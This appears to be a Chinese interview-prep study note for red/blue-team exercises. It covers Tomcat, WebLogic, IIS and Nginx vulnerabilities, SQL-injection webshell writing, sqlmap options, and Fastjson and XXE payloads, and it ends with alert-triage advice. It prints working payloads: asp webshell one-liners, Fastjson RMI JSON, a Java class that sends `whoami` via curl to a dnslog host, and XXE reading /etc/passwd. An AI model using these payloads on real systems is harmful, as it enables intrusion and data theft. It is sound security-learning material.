2024护网面试记录(蓝队更新中)

宁云志面试记录

  1. 了解过中间件漏洞吗

    • apache tomcat

      • 文件上传(CVE-2017-12615)

        影响版本: Apache Tomcat 7.0.0 – 7.0.81

        前提是Tomcat开启了HTTP PUT请求

        漏洞原理: Tomcat配置文件/conf/web.xml
        配置了可写(readonly=false),导致可以使用PUT方法上传任意文件,攻击者将精心构造的payload向服务器上传包含任意代码的.JSP文件。之后JSP文件中的代码将能被服务器执行。

      • 文件包含(CVE-2020-1938)

        影响版本: Apache Tomcat 6
        Apache Tomcat 7 < 7.0.100
        Apache Tomcat 8 < 8.5.51
        Apache Tomcat 9 < 9.0.31

        漏洞原理:Tomcat配置了两个连接,它们分别是HTTPAJPHTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理AJP协议的请求,而AJPhttp更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。
        python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py IP地址 -p 8009 -f /WEB-INF/web.xml

      • Tomcat 后台弱口令

        Authorization头,base64加密爆破

        然后文件上传

    • weblogic

      • T3协议反序列化(CVE-2018-2628)

        影响范围:Weblogic 10.3.6.0
        Weblogic 12.1.3.0
        Weblogic 12.2.1.2
        Weblogic 12.2.1.3

        漏洞原理:开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。T3协议缺陷实现了Java虚拟机的远程方法调用(RMI),能够在本地虚拟机上调用远端代码。

      • 反序列化RCE(CVE-2019-2725)

        影响范围: Weblogic 10.3.6
        Weblogic 12.1.3

        漏洞原理: 核心利用点依旧是weblogic的xmldecoder反序列化漏洞,只是通过构造巧妙的利用链可以对Oracle官方历年来针对这个漏洞点的补丁绕过。

        访问_async/AsyncResponseService响应200或者访问_async响应403,则存在

      • 弱口令爆破+文件上传

      • SSRF

        影响版本: weblogic10.0.2、10.3.6

        漏洞原理: Weblogic的uddi组件实现包中有个ddiexplorer.war文件,其下的SearchPublicReqistries.jsp接口存在SSRF漏洞,可以利用该漏洞可以发送任意HTTP请求,实现攻击内网中Redis等脆弱组件。

        f12看前端页面发现引用了外部链接,那么就有可能存在SSRF,然后抓包有个operator参数,修改参数值用来探测开放ip端口,确认存在然后就利用Redis实现反弹shell

    • IIS

      • PUT文件上传

        影响版本: IIS 6.0

        漏洞原理: IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。

      • 远程代码执行漏洞(CVE-207-7269)

        漏洞原理: Microsoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以If:<http://开头的长标头执行任意代码PROPFIND请求。

      • 7 解析漏洞

        漏洞原理: 我们在文件/xino.jpg后面加上/xx.php会将/xino.jpg/xx.php 解析为 php 文件,这样我们就可以在上传的时候写入PHP一句话木马,比如写一个<?php phpinfo();?>来查看PHP版本信息

      • 6 解析漏洞

        漏洞原理: 我们向服务器上传一个文件111.asp;.jpg,服务器默认不解析;后的内容,因此xxx.asp;.jpg被当做asp文件解析,于是就可以通过这个漏洞来上传木马,比如asp一句话木马<%eval request("111")%>

    • Nginx(php中间件)

      • 文件名解析漏洞(CVE-2013-4547)

        利用条件: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7,php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP

        漏洞原理: 主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

        比如: 我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20](这里就是因为\0截断问题),就设置其为SCRIPT_FILENAME的值发送给fastcgi

        我们访问的文件名为shell.gif[0x20][0x00].php,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为1.gif[0x20],配合limit_extensions为空即可利用成功。

      • CRLF注入

        漏洞原理: CRLF是“回车+换行”(\r\n)的简称。

        HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来。

        通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行。

      • 目录穿越

        漏洞原理: Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录。

  2. SQL注入怎么写入shell

    • 所需条件: root, 知道网站的根路径, 开启secure_file_priv功能,要具有读写权限, 用show variables like '%secure%'来查看。

      读写文件相关函数和语句: load_file(file_name)(读取文件并返回该文件的内容作为一个字符串,但是有条件),LOAD DATA INFILE 'file_path' INTO TABLE table_name[OPTIONS](用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串), INTO OUTFILE 'file_name'(用于将查询结果导出到指定的文件中)。这部分之后专门写一篇好了

    • sqlmap —os -shell

      file协议写shell: sqlmap -u "www.test.com/?id=1" --file-write "本地文件" --file-dest "网站绝对路径+文件名"

  3. sqlmap的参数

    这里就说一些比较常用的吧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    -v                  输出级别(0~6,默认1)
    -u 指定url
    --data=DATA 该参数指定的数据会被作为POST数据提交
    -r file.txt 常用于POST注入或表单提交时注入
    -p / --skip 指定/跳过测试参数
    --cookie 设置cookie
    --force-ssl 强制使用SSL
    --level 检测级别(1~5,默认1)
    --risk 风险等级(1~4,默认1)
    --banner 列举数据库系统的信息等
    --current-user 输出当前用户
    --current-db 输出当前所在数据库
    --hostname 输出服务器主机名
    --is-dba 检测当前用户是否为管理员
    --users 输出数据库系统的所有用户
    --dbs 输出数据库系统的所有数据库
    -D DB 指定数据库
    --tables 在-D情况下输出库中所有表名
    -T table 在-D情况下指定数据表
    --columns 在-D -T情况下输出表中所有列名
    -C column 在-D -T情况下输出某列数据的值
    --dump 拉取数据存放到本地
    --dump-all 拉取所有可访问数据存放到本地
    --search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
    --flie-read 读取文件
    --file-write 上传文件(指定本地路径)
    --file-dest 上传文件(指定目标机器路径)
    --os-cmd 执行任意系统命令
    --os-shell 使用交互式shell执行命令
    --technique (B/E/U/S/T) B:布尔 E:报错 U:联合 S:多语句 T:时延/时间盲注
  4. fastjson 有哪些漏洞

    • 1.2.24-RCE

      这个版本响应是没有提示的,所以只要是用json传输的都可以试试,给他传一个json数据之后它会报错就有可能有,然后就写自己的payload,比如

      1
      2
      3
      4
      5
      6
      7
      {
      "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://ip:port/dnslog",
      "autoCommit":true
      }
      }
    • 1.2.47-RCE

      这个版本传一个json就会有一个com.Alibaba.fast.JSON报错,然后就可以传一个自己的payload

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      {
      "a":{
      "@type":"java.lang.Class",
      "val":"com.sun.rowset.JdbcRowSetImpl"
      },
      "b":{
      "@type":"com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName":"rmi://ip:port/dnslog",
      "autoCommit":true
      }
      }
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      // 这个dnslog的内容
      import java.lang.Runtime;
      import java.lang.Process;
      public class dnslog{
      static {
      try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"/bin/sh","-c","curl `whoami`.your_dnslog_url"};
      Process pc = rt.exec(commands);
      pc.waitFor();
      catch (Exception e) {
      // do nothing
      }
      }
      }
  5. XXE了解多少

    XML外部实体注入,XML是一种标记语言,用于传输文档的元数据,在javaweb中更像是一个配置文件(个人理解)。

    XML有一个DTD就那个文档类型定义,它可以定义合法的XML文档构建模块。他那个内部实体声明,就那个ENTITY这个实体值可以配合一些协议来整一些东西

    读取任意文件

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>

    执行系统命令

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <root>
    <name>&xxe;</name>
    </root>

    配合http协议可以用来探测内网端口,还有攻击内网网站

  6. 如果安全设备突然来了很多告警怎么办,如何排查

    分析流量日志(原地址,目标地址,端口,事件名称,时间,规则ID,发生次数等)根据研判标准进行筛选(像挖矿、蠕虫、病毒、拒绝服务这类不太可能为攻击方发起的攻击的事件,直接过滤掉,减少告警数量),但如果是内网的ip就需要注意,如果是内网发起的ddos可能是用来模拟内网扫描行为去掩盖真实的内网扫描行为。

    告警结合威胁情报库(微步、奇安信威胁情报中心、绿盟威胁情报云等)对流量日志的原IP进行分析,判断是否为恶意攻击。推荐使用微步的插件,如果确认为攻击行为或者不能确认是否为攻击行为,进行下一步操作,在之前准备好的表格中查找 IP 是否为客户内网部署的设备,如果不是,继续进行下一步,在事件上报平台查看是否有其他人提交过,如果没有,则上报

    然后根据流量日志,对请求数据包和返回数据包分析判断其是否为误报,需要留意 X-Forwarded-For(简称XFF)和 x-real-ip 可以了解些 webshell 工具的流量特征,尤其是免杀 webshell,有可能不会被设备识别

    最后上报事件时,尽可能提供完整的截图,包括源 ip、目的ip,请求包请求体,响应包响应体等重要信息,以方便后续人员研判溯源

    注: 不要任意忽略内网告警,适当情况下可以往前推排查时间